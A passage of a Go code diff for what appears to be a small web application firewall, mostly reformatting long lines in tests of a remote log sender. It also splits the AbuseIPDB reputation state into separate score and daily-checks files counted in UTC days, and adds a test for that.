 
-		_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
+		_, _ = sender.Write(
+			[]byte(
+				`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
+			),
+		)
 
 		synctest.Wait()
 		wantCounts(t, sender, 2, 0, 0)
@@ -108,7 +119,9 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
 	})
 }
 
-func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
+func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -174,7 +187,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
 		wantCounts(t, sender, 1, 0, 0)
 
 		conn := endpoint.next(t)
-		wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
+		wantFrame(
+			t,
+			bufio.NewReader(conn),
+			record(t, local0Info, appName, "one"),
+		)
 
 		// The endpoint goes away: it closes the connection, and refuses the
 		// next ones. The sender notices when a record fails, and tries to
@@ -203,7 +220,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
 		wantCounts(t, sender, sent+1, 1, 0)
 
 		conn = endpoint.next(t)
-		wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
+		wantFrame(
+			t,
+			bufio.NewReader(conn),
+			record(t, local0Info, appName, "two"),
+		)
 		wantRetries(t, logged, "1s", "2s")
 	})
 }
@@ -213,12 +234,19 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
 
 	synctest.Test(t, func(t *testing.T) {
 		endpoint := listen(t)
-		sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
+		sender, logged, _ := run(
+			t,
+			params(remotelog.SchemeTCP, endpoint.Addr()),
+		)
 
 		// The endpoint closes each connection as soon as it takes it. The
 		// sender notices when a record fails, and connects again a second
 		// later, then two seconds after that, then four.
-		delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
+		delays := []time.Duration{
+			time.Second,
+			2 * time.Second,
+			4 * time.Second,
+		}
 		for i, delay := range delays {
 			_ = accept(t, endpoint).Close()
 
@@ -230,12 +258,17 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
 	})
 }
 
-func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
+func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
 		endpoint := listen(t)
-		sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
+		sender, logged, _ := run(
+			t,
+			params(remotelog.SchemeTCP, endpoint.Addr()),
+		)
 
 		_ = accept(t, endpoint).Close()
 
@@ -271,14 +304,21 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
+		endpoint, err := (&net.ListenConfig{}).ListenPacket(
+			t.Context(),
+			"udp",
+			loopback,
+		)
 		if err != nil {
 			t.Fatalf("listen: %v", err)
 		}
 
 		t.Cleanup(func() { _ = endpoint.Close() })
 
-		sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
+		sender, logged, _ := run(
+			t,
+			params(remotelog.SchemeUDP, endpoint.LocalAddr()),
+		)
 
 		// With its header, the first line's record is longer than the 65507
 		// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
@@ -372,7 +412,10 @@ func params(scheme string, addr net.Addr) remotelog.Params {
 // run runs a Sender with settings until the test ends or the function
 // it returns is called, which waits for Run to return. It returns the
 // Sender, and what it logs.
-func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
+func run(
+	t *testing.T,
+	settings remotelog.Params,
+) (*remotelog.Sender, *output, func()) {
 	t.Helper()
 
 	sender := remotelog.New(settings)
@@ -399,7 +442,11 @@ func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, f
 func listen(t *testing.T) net.Listener {
 	t.Helper()
 
-	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
+	listener, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		loopback,
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -438,11 +485,17 @@ type tlsEndpoint struct {
 
 // startTLSEndpoint starts a tlsEndpoint with certificate, which takes
 // connections until it is told to refuse them.
-func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
+func startTLSEndpoint(
+	t *testing.T,
+	certificate tls.Certificate,
+) *tlsEndpoint {
 	t.Helper()
 
 	listener := listen(t)
-	endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
+	endpoint := &tlsEndpoint{
+		addr:  listener.Addr(),
+		conns: make(chan net.Conn, 10),
+	}
 	config := &tls.Config{
 		Certificates: []tls.Certificate{certificate},
 		MinVersion:   tls.VersionTLS12,
@@ -456,7 +509,8 @@ func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
 			}
 
 			server := tls.Server(conn, config)
-			if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
+			if endpoint.refusing.Load() ||
+				server.HandshakeContext(t.Context()) != nil {
 				_ = conn.Close()
 
 				continue
@@ -528,9 +582,17 @@ func wantCounts(
 ) {
 	t.Helper()
 
-	if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
+	if sender.Sent() != sent || sender.Dropped() != dropped ||
-		t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
+		sender.Depth() != depth {
-			sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
+		t.Fatalf(
+			"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
+			sender.Sent(),
+			sender.Dropped(),
+			sender.Depth(),
+			sent,
+			dropped,
+			depth,
+		)
 	}
 }
 
@@ -539,7 +601,11 @@ func wantCounts(
 // connection the endpoint has closed are lost before one fails; how many
 // depends on when the endpoint's host answers that the connection is
 // gone.
-func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
+func writeUntilDropped(
+	t *testing.T,
+	sender *remotelog.Sender,
+	dropped int64,
+) {
 	t.Helper()
 
 	for sender.Dropped() < dropped {
@@ -586,7 +652,8 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
 		var fields map[string]any
 
 		err := json.Unmarshal([]byte(line), &fields)
-		if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
+		if err != nil ||
+			fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
 			t.Fatalf("logged %q", line)
 		}
 
@@ -595,7 +662,11 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
 	}
 
 	if !slices.Equal(got, delays) {
-		t.Errorf("logged failures to connect again in %v, want %v", got, delays)
+		t.Errorf(
+			"logged failures to connect again in %v, want %v",
+			got,
+			delays,
+		)
 	}
 }
 
@@ -618,8 +689,10 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
 		IsCA:                  true,
 		BasicConstraintsValid: true,
 		KeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
-		ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
+		ExtKeyUsage: []x509.ExtKeyUsage{
-		IPAddresses:           []net.IP{net.IPv4(127, 0, 0, 1)},
+			x509.ExtKeyUsageServerAuth,
+		},
+		IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
 	}
 
 	der, err := x509.CreateCertificate(rand.Reader, template, template,
@@ -636,5 +709,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
 	roots := x509.NewCertPool()
 	roots.AddCert(certificate)
 
-	return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
+	return tls.Certificate{
+		Certificate: [][]byte{der},
+		PrivateKey:  key,
+	}, roots
 }

internal/reputation/abuseipdb.go

@@ -14,6 +14,7 @@ import (
 	"sync"
 	"time"
 
+	"cloud.google.com/go/civil"
 	"github.com/hashicorp/golang-lru/v2/simplelru"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 )
@@ -27,8 +28,6 @@ const (
 	AbuseIPDBSource = "abuseipdb"
 	// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
 	maxAnswerBytes = 64 << 10
-	// day is the length of the day the checks are counted in, in UTC.
-	day = 24 * time.Hour
 )
 
 var (
@@ -37,22 +36,21 @@ var (
 		"checks spent; none is made until the day ends at 00:00 UTC")
 )
 
-// Score is what AbuseIPDB said about a client, as reputation.json holds
+// Score is what AbuseIPDB said about a client, as abuseipdb-scores.json
-// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
+// holds it: the client, an IPv4 address or an IPv6 group, its abuse
-// score, from 0 to 100, and when AbuseIPDB answered.
+// confidence score, from 0 to 100, and when AbuseIPDB answered.
 type Score struct {
 	Client  netip.Prefix `json:"client"`
 	Score   int64        `json:"score"`
 	Fetched time.Time    `json:"fetched"`
 }
 
-// Checks are what reputation.json keeps of the checks of clients with
+// ChecksSpent is what abuseipdb-checks-spent.json keeps of the checks of
-// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
+// clients with AbuseIPDB: the day, in UTC, of the checks Spent counts,
-// first, and the scores still in use.
+// zero before the first.
-type Checks struct {
+type ChecksSpent struct {
-	Day    time.Time `json:"day,omitzero"`
+	Day   civil.Date
-	Spent  int       `json:"spent"`
+	Spent int
-	Scores []Score   `json:"scores"`
 }
 
 // AbuseIPDBParams are what NewAbuseIPDB needs.
@@ -93,7 +91,7 @@ type AbuseIPDB struct {
 	// checking are the clients whose check is under way.
 	checking map[netip.Prefix]bool
 	// day is the day, in UTC, of the checks spent counts.
-	day   time.Time
+	day   civil.Date
 	spent int
 	// checks and failures count the checks made and those that failed,
 	// and retryAt is when a client may be checked again after the last
@@ -143,7 +141,7 @@ func (a *AbuseIPDB) Hit(
 		return kept.Score, kept.Score >= a.params.MinScore
 	}
 
-	if today := now.Truncate(day); !a.day.Equal(today) {
+	if today := civil.DateOf(now.UTC()); a.day != today {
 		a.day, a.spent = today, 0
 	}
 
@@ -190,42 +188,42 @@ func (a *AbuseIPDB) BudgetLeft() int {
 	a.mu.Lock()
 	defer a.mu.Unlock()
 
-	if !a.day.Equal(a.params.Now().Truncate(day)) {
+	if a.day != civil.DateOf(a.params.Now().UTC()) {
 		return a.params.DailyBudget
 	}
 
 	return max(a.params.DailyBudget-a.spent, 0)
 }
 
-// Snapshot returns the checks spent and every score still in use, sorted
+// Snapshot returns every score still in use, sorted by client, as
-// by client, as reputation.json keeps them.
+// abuseipdb-scores.json keeps them.
-func (a *AbuseIPDB) Snapshot() Checks {
+func (a *AbuseIPDB) Snapshot() []Score {
 	a.mu.Lock()
 
 	now := a.params.Now()
-	checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
+	scores := make([]Score, 0, a.scores.Len())
 
 	for _, kept := range a.scores.Values() {
 		if now.Sub(kept.Fetched) < a.params.CacheTTL {
-			checks.Scores = append(checks.Scores, kept)
+			scores = append(scores, kept)
 		}
 	}
 
 	a.mu.Unlock()
 
-	slices.SortFunc(checks.Scores, func(x, y Score) int {
+	slices.SortFunc(scores, func(x, y Score) int {
 		return x.Client.Compare(y.Client)
 	})
 
-	return checks
+	return scores
 }
 
-// Load keeps checks, read from reputation.json, in place of those it
+// Load keeps scores, read from abuseipdb-scores.json, in place of those
-// keeps, but for the scores past maxVerdicts, those fetched longest ago.
+// it keeps, but for the scores past maxVerdicts, those fetched longest
-// One fetched CacheTTL ago or more is neither used nor written, as for any
+// ago. One fetched CacheTTL ago or more is neither used nor written, as
-// score.
+// for any score.
-func (a *AbuseIPDB) Load(checks Checks) {
+func (a *AbuseIPDB) Load(scores []Score) {
-	scores := slices.Clone(checks.Scores)
+	scores = slices.Clone(scores)
 	slices.SortStableFunc(scores, func(x, y Score) int {
 		return x.Fetched.Compare(y.Fetched)
 	})
@@ -233,7 +231,6 @@ func (a *AbuseIPDB) Load(checks Checks) {
 	a.mu.Lock()
 	defer a.mu.Unlock()
 
-	a.day, a.spent = checks.Day, checks.Spent
 	a.scores.Purge()
 
 	for _, kept := range scores {
@@ -241,11 +238,33 @@ func (a *AbuseIPDB) Load(checks Checks) {
 	}
 }
 
+// ChecksSpent returns the checks spent, as abuseipdb-checks-spent.json
+// keeps them.
+func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	return ChecksSpent{Day: a.day, Spent: a.spent}
+}
+
+// LoadChecksSpent keeps checks, read from abuseipdb-checks-spent.json, in
+// place of the checks spent.
+func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	a.day, a.spent = checks.Day, checks.Spent
+}
+
 // check checks client with AbuseIPDB by addr, one of its addresses, keeps
 // the score as client's, and notes the check as no longer under way. A
 // check that fails gives no score: it is counted, logged and raised as a
 // source_failure alert, and no client is checked for failureDelay.
-func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
+func (a *AbuseIPDB) check(
+	ctx context.Context,
+	client netip.Prefix,
+	addr netip.Addr,
+) {
 	score, err := a.ask(ctx, addr)
 	now := a.params.Now()
 
@@ -254,7 +273,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
 	delete(a.checking, client)
 
 	if err == nil {
-		a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
+		a.scores.Add(
+			client,
+			Score{Client: client, Score: score, Fetched: now},
+		)
 	} else {
 		a.failures++
 		a.retryAt = now.Add(failureDelay)
@@ -270,7 +292,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
 // ask asks AbuseIPDB for addr's abuse confidence score, sending the key
 // in the header Key. An answer other than 200, one that gives no score,
 // and none within Timeout, fail.
-func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
+func (a *AbuseIPDB) ask(
+	ctx context.Context,
+	addr netip.Addr,
+) (int64, error) {
 	ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
 	defer cancel()
 
@@ -306,7 +331,8 @@ func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
 		} `json:"data"`
 	}
 
-	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
+	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).
+		Decode(&answer)
 	if err != nil {
 		return 0, fmt.Errorf("read the answer: %w", err)
 	}
@@ -324,5 +350,11 @@ func (a *AbuseIPDB) alert(reason string, err error) {
 	// Raised before it is logged, so that the alert is there once the log
 	// line is.
 	raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
-	a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
+	a.params.ProcessLog.Warn(
+		reason,
+		"source",
+		AbuseIPDBSource,
+		"error",
+		err.Error(),
+	)
 }

internal/reputation/abuseipdb_test.go

@@ -17,6 +17,7 @@ import (
 	"testing/synctest"
 	"time"
 
+	"cloud.google.com/go/civil"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/metrics"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
@@ -40,7 +41,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		// A client that has committed no offence is not checked.
@@ -59,7 +62,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
 	})
 }
 
-func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
+func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -67,10 +72,15 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.
 		// it of its own.
 		var addresses []string
 		for i := 1; i < 16; i++ {
-			addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
+			addresses = append(
+				addresses,
+				fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
+			)
 		}
 
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{addresses[0]: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		// A request from each has the client checked once, by the first.
@@ -95,7 +105,11 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
+		scores := map[string]int64{
+			"192.0.2.74":  74,
+			"192.0.2.75":  75,
+			"192.0.2.100": 100,
+		}
 		p := abuseIPDBParams()
 		p.MinScore = 75
 		checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
@@ -116,7 +130,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		hitFrom(t, checker, suspect, true)
@@ -140,7 +156,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
 	})
 }
 
-func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
+func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -151,7 +169,9 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
 		p.DailyBudget = 3
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, p)
 
 		// At noon, the first three offenders spend the budget, and the
@@ -172,18 +192,26 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
 		// The check that used the budget up raised the alert, and logged it.
 		const usedUp = "the daily budget of AbuseIPDB checks is used up"
 
-		wantFailureAlert(t, queue, time.Now(), usedUp,
+		wantFailureAlert(
-			"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
+			t,
+			queue,
+			time.Now(),
+			usedUp,
+			"3 checks spent; none is made until the day ends at 00:00 UTC",
+			0,
+		)
 
 		if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
 			t.Errorf("logged\n%s\nwant the budget used up", log.String())
 		}
 
-		// Restarted with what reputation.json keeps, it uses the scores, and
+		// Restarted with what abuseipdb-scores.json and
-		// checks no client until the day ends.
+		// abuseipdb-checks-spent.json keep, it uses the scores, and checks
+		// no client until the day ends.
 		restarted := &abuseIPDBStandIn{}
 		again := newAbuseIPDB(restarted, p)
 		again.Load(checker.Snapshot())
+		again.LoadChecksSpent(checker.ChecksSpent())
 
 		wantScore(t, again, suspect, true, 100, true)
 		wantBudgetLeft(t, again, 0)
@@ -202,7 +230,44 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
 	})
 }
 
-func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
+func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		// A clock 14 hours ahead of UTC, whose day starts at 10:00 UTC.
+		ahead := time.FixedZone("UTC+14", 14*60*60)
+		p := abuseIPDBParams()
+		p.DailyBudget = 1
+		p.Now = func() time.Time { return time.Now().In(ahead) }
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
+		checker := newAbuseIPDB(abuseIPDB, p)
+
+		// At 09:00 UTC the one check is spent.
+		time.Sleep(9 * time.Hour)
+		hitFrom(t, checker, suspect, true)
+		synctest.Wait()
+		wantBudgetLeft(t, checker, 0)
+
+		// At 11:00 UTC the clock's day has changed, but the UTC day has not.
+		time.Sleep(2 * time.Hour)
+		wantBudgetLeft(t, checker, 0)
+
+		want := civil.Date{Year: 2000, Month: 1, Day: 1}
+		if day := checker.ChecksSpent().Day; day != want {
+			t.Errorf("checks spent on %s, want on %s", day, want)
+		}
+
+		// At 00:00 UTC the budget is whole again.
+		time.Sleep(13 * time.Hour)
+		wantBudgetLeft(t, checker, 1)
+	})
+}
+
+func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -246,7 +311,10 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 				p.Key = tc.key
 				p.Alerts = queue
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-				abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
+				abuseIPDB := &abuseIPDBStandIn{
+					status: tc.status,
+					body:   tc.body,
+				}
 				checker := newAbuseIPDB(abuseIPDB, p)
 
 				// The failure gives no score, and no client is checked within a
@@ -265,7 +333,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 				wantChecked(t, abuseIPDB, suspect, other)
 				wantFailures(t, checker, 2)
 
-				if scores := checker.Snapshot().Scores; len(scores) != 0 {
+				if scores := checker.Snapshot(); len(scores) != 0 {
 					t.Errorf("scores %+v, want none", scores)
 				}
 
@@ -274,8 +342,11 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 				wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
 					"checking a client with AbuseIPDB failed", tc.error, 1)
 
-				if !strings.Contains(log.String(), `"msg":"checking a client with `+
+				if !strings.Contains(
-					`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
+					log.String(),
+					`"msg":"checking a client with `+
+						`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
+				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -283,7 +354,9 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 	}
 }
 
-func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
+func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -310,8 +383,14 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantFailures(t, checker, 1)
-		wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
+		wantFailureAlert(
-			"check the client: context deadline exceeded", 0)
+			t,
+			queue,
+			time.Now(),
+			"checking a client with AbuseIPDB failed",
+			"check the client: context deadline exceeded",
+			0,
+		)
 	})
 }
 
@@ -325,10 +404,15 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 		p := abuseIPDBParams()
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, p)
 		m := metrics.New(1, "app")
-		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
+		m.AddReputation(
+			reputation.New(params()),
+			reputation.NewDNSBL(dnsblParams()),
+		)
 		m.AddAbuseIPDB(checker)
 
 		// One check that AbuseIPDB answers, and one it refuses with an answer
@@ -337,7 +421,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 		synctest.Wait()
 		wantScore(t, checker, suspect, true, 100, true)
 
-		abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
+		abuseIPDB.answerWith(
+			http.StatusUnauthorized,
+			`{"errors":[{"detail":"`+key+`"}]}`,
+		)
 		wantScore(t, checker, other, true, 0, false)
 		synctest.Wait()
 		wantFailures(t, checker, 1)
@@ -362,7 +449,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 
 		for name, shown := range map[string]string{
 			"the log": log.String(), "the alerts": string(alerted),
-			"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
+			"the metrics": scrapeMetrics(t, m), "abuseipdb-scores.json": string(kept),
 		} {
 			if strings.Contains(shown, key) {
 				t.Errorf("%s shows the key:\n%s", name, shown)
@@ -380,7 +467,10 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
 		p.DailyBudget = 5
 		checker := newAbuseIPDB(abuseIPDB, p)
 		m := metrics.New(1, "app")
-		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
+		m.AddReputation(
+			reputation.New(params()),
+			reputation.NewDNSBL(dnsblParams()),
+		)
 		m.AddAbuseIPDB(checker)
 
 		// One check that AbuseIPDB answers, and one that fails.
@@ -425,18 +515,20 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
 		Fetched: now.Add(-cacheTTL),
 	}
 
-	checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
+	checker.Load([]reputation.Score{stale, inUse})
 
 	wantScore(t, checker, suspect, false, 100, true)
 	wantScore(t, checker, other, false, 0, false)
 
-	got := checker.Snapshot().Scores
+	got := checker.Snapshot()
 	if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
 		t.Errorf("scores %+v, want only %+v", got, inUse)
 	}
 }
 
-func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
+func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -444,7 +536,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
 	p.Now = func() time.Time { return now }
 	checker := reputation.NewAbuseIPDB(p)
 
-	// 100,001 scores, listed by client, as reputation.json lists them, each
+	// 100,001 scores, listed by client, as abuseipdb-scores.json lists them, each
 	// fetched a millisecond before the one before it: the last is one too
 	// many.
 	const count = 100001
@@ -460,12 +552,15 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
 		addr = addr.Next()
 	}
 
-	checker.Load(reputation.Checks{Scores: scores})
+	checker.Load(scores)
 
-	got := checker.Snapshot().Scores
+	got := checker.Snapshot()
 	if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
 		slices.Contains(got, scores[count-1]) {
-		t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
+		t.Errorf(
+			"%d scores kept, want all but the one fetched longest ago",
+			len(got),
+		)
 	}
 }
 
@@ -486,7 +581,9 @@ type abuseIPDBStandIn struct {
 
 // RoundTrip has the stand-in answer req, in place of the network. A check
 // abandoned before the stand-in answers fails, as over the network.
-func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
+func (s *abuseIPDBStandIn) RoundTrip(
+	req *http.Request,
+) (*http.Response, error) {
 	client := req.URL.Query().Get("ipAddress")
 	sent := req.Header.Get("Key")
 
@@ -506,8 +603,11 @@ func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error)
 		status = http.StatusUnauthorized
 	case status == 0:
 		status = http.StatusOK
-		body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
+		body = fmt.Sprintf(
-			score)
+			`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`,
+			client,
+			score,
+		)
 	}
 
 	return &http.Response{
@@ -567,15 +667,25 @@ func newAbuseIPDB(
 // wantScore checks the score checker gives client, and whether it is a
 // hit, as a request from client finds them, offender or not.
 func wantScore(
-	t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
+	t *testing.T,
-	score int64, hit bool,
+	checker *reputation.AbuseIPDB,
+	client string,
+	offender bool,
+	score int64,
+	hit bool,
 ) {
 	t.Helper()
 
 	gotScore, gotHit := hitFrom(t, checker, client, offender)
 	if gotScore != score || gotHit != hit {
